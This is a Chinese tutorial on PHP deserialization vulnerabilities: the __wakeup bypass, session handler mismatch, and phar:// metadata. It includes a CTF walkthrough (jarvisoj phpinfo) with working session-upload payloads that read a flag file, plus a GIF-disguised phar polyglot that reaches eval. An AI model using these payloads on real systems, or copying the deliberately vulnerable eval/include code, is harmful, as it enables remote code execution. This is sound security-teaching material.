反序列化详解

前言

一开始接触反序列化的时候感觉这是个很高深的东西,当时连用php写脚本构造反序列化都不会,现在好多了。借着这个机会,好好整理系统学习下反序列化。

什么是序列化反序列化+简单例题

序列化反序列化基础知识

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构
序列化对象时,只会保存属性值,不会保存常量的值。对于父类中的变量,则会保留。

序列化格式

1
2
O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

字母详解

1
2
3
4
5
6
7
8
9
10
11
a - array
b - boolean
d - double
i - integer
o - common object
r - references - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

魔法函数

命名是以符号__开头的(php中存在一些特殊的类成员在某些特定情况下会自动调用)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct当一个对象创建时被调用,
__destruct当一个对象销毁时被调用,
__toString当一个对象被当作一个字符串被调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发

反序列化POP链

  • unserialize()反序列化函数用于将单一的已序列化的变量转换回 PHP 的值。
  • 当反序列化参数可控时,可能会产生PHP反序列化漏洞。
  • 在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化 有一种漏洞利用方法叫做 “面向属性编程”,面向对象编程从一定程度上来说,就是完 成类与类之间的调用。POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”
  • 在PHP中,“组件”就是上面提到的magic函数(wakeup()或destruct)

    运行测试及结果

    简单的序列化与反序列化
    1
    2
    3
    4
    5
    6
    7
    <?php
    $str = 'flag';
    $str = serialize($str);
    echo $str.'
    ';
    echo unserialize($str);
    ?>

输出

1
2
s:4:"flag";
flag

面向对象中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test
{
public $flag = 'Inactive';

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
echo $data;
?>

根据$flag类型不同,输出也会不同
当$flag为public类型时,输出:O:4:"test":1:{s:4:"flag";s:6:"Active";}
当$flag为private类型时,输出:O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}
当$flag为protected类型时,输出:O:4:"test":1:{s:10:"%00*%00flag";s:6:"Active";}
注意到,这里的%00指的都是空字符NULL
对象的私有成员具有加入成员名称的类名称;
受保护的成员在成员名前面加上*。
这些前缀值在任一侧都有空字节

几个反序列化漏洞

题目中有可能会将几个漏洞组合起来,所以都了解下是很好的。

绕过魔法函数的反序列化漏洞

一个CVE漏洞,编号CVE-2016-7124

先介绍下两个魔法函数wakeup() 和sleep()

unserialize() 执行时会检查是否存在一个 wakeup() 方法。
如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
sleep()则相反,是用在序列化一个对象时被调用

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

漏洞存在版本
PHP5 < 5.6.25
PHP7 < 7.0.10
(ps:在自己的电脑上调试了好久,怎么都出不来,忽然发现自己的php是5.6.39的。。。)
简单例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class text{

public $flag = 'flag{****}';
public $key = '123';

function __wakeup()
{
$this->flag = 'no.no.no';
}


function __destruct()
{
echo $this->flag;
}
}

$a='O:4:"text":1:{s:3:"key";s:7:"1******";}';
unserialize($a);
?>

假设我们并不知道$flag的内容,如果我们想让页面输出$flag,我们就需要绕过__wakeup()函数
O:4:"text":1:{s:3:"key";s:7:"123";}只能输出no.no.no
这时候我们需要将O:4:"text":1:{s:3:"key";s:7:"123";}改为
O:4:"text":2:{s:3:"key";s:7:"123";}即可输出flag(属性个数的值可改为任意大于真实个数的整数)

Session反序列化漏洞

提到这个漏洞,就得先知道什么叫Session序列化机制。

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。PHP处理器的三种序列化方式:

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式

配置文件php.ini中含有这几个与session存储配置相关的配置项:

1
2
3

session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php

一个简单的demo(session.php)认识一下存储过程:

1
2
3
4
5
<?php 
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['sdpc'] = $_GET['sdpc'];
?>

访问页面
http://localhost/test/session.php?hpdoger=lover

在session.save_path对应路径下会生成一个文件,名称例如:sess_1ja9n59ssk975tff3r0b2sojd5
因为选择的序列化处理方式为php_serialize,所以存储在文件里的内容是被serialize()函数处理过的$_SESSION[‘sdpc’]。存储文件内容:

1
a:1:{s:7:"hpdoger";s:5:"lover";}

如果选择的序列化处理方式为php,
ini_set('session.serialize_handler','php');,则存储内容为:

1
sdpc|s:5:"lover";

选择的处理方式不同,序列化和反序列化的方式亦不同。
如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

举个栗子:
这是一个存储session的页面

1
2
3
4
5
6
//session.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['sdpc'] = $_GET['sdpc'];
?>

这是一个读取session的页面(可利用页面)

1
2
3
4
5
6
7
8
9
10
11
12
13
//test.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class hpdoger{
var $a;
function __destruct(){
$fp = fopen("C:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>

如果我们在session.php中写入的session为
?sdpc=|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}
那么,在session文件中存储的内容便是
{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}
当我们再次访问test.php时,服务器读取session文件,但是这里的php处理方式会将”|”后面的值进行反序列化,于是,在shell.php中就会写入<?php phpinfo()?>

例题jarvisoj-phpinfo

打开网页直接得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

一开始看的时候没发现任何数据传入点,开头ini_set又不知道是什么,只能求助于万能的wp

php的session信息是储存在文件中的

  • session.save_path=”” 指定储存的路径
  • session.save_handler=”” 指定储存时使用的函数(默认是file)
  • session.auto_start boolen
  • session.serialize_handler=”” 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)
    session.serialize_handler存在以下几种
    php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    php 键名+竖线(|)+经过serialize()函数处理过的值
    php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
    使用过程中如果想要修改,使用ini_set(‘session.serialize_handler’,’php_serialize’);但这里设置的handler如果和默认的不同,就会出问题

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是

1
a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

1
2
3
4
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以 | 作为作为key和value的分隔符,那么就会将
a:1:{s:6:”spoock”;s:24:”
作为SESSION的key,将
O:11:”PeopleClass”:0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

引用官方文档的内容当

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。
这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得

接下来查看phpinfo,发现php版本是5.6.21,大于5.5.4,默认的handler是php_serialize,会出现上面所述的问题
在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类,就能够执行代码?
但是我们如何将类写入session文件?
这就用到刚才提到的东西
查看phpinfo,
因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

序列化出payload

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>

xxxxx替换为print_r(scandir(dirname( FILE)));,扫描目录
为防止转义,在引号前加上\。
因为这里是php handler,是以|开头的,所以在反序列化时会按照|来识别键值对而不是按照默认的php_serialize来识别session,所以我们将文件名前加上|
利用前面的html页面随便上传一个东西,抓包,把filename改为如下:
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:36:\”print_r(scandir(dirname( FILE)));\”;}

接下来就是去读取 Here_1s_7he_fl4g_buT_You_Cannot_see.php
由phpinfo可知当前的路径为/opt/lampp/htdocs/
将xxxxx改为
print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));
payload
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:88:\”print_r(file_get_contents(\”/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\”));\”;}

深入解析php中session反序列化机制

phar伪协议触发php反序列化

phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
phar文件结构

详情参考php手册(https://secure.php.net/phar)
这里摘出创宇提供的四部分结构概要:
1、a stub
识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub
2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据
62b783c3fc1548b10c9c9e230802ef08.png
3、the file contents
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

Phar内置方法
本地生成一个phar文件,要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)
PHP内置phar类,其他的一些方法如下:

1
2
3
4
5
6
$phar = new Phar('sdpc.phar'); //实例一个phar对象供后续操作 
$phar->startBuffering() //开始缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容

漏洞剖析

文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

phar怎么用?

1
2
3
4
5
6
7
8
9
10
11
class TestObject{
}

$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();

执行后目录下会生成一个phar.phar文件

如果这时候网站有一个这样的页面

1
2
3
4
5
6
7
8
class TestObject{
function __destruct()
{
echo $this->data;
}
}

include ('phar://phar.phar');

可以通过伪协议包含我们的phar文件,那么在包含的过程中就会进行反序列化

输出出我们的文字

示例

用phar伪装一下其他文件,因为php识别phar文件是通过stub来的,那样的话我们只需要在<?php __HALT_COMPILER();?>前面加多一个其他文件的头,就可以伪装了

前端的上传页面

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>

后台的检测页面,先限制好只能传gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

后台解析文件的php

1
2
3
4
5
6
7
8
9
<?php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);

emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己生成个phar的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

可利用的文件操作函数
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize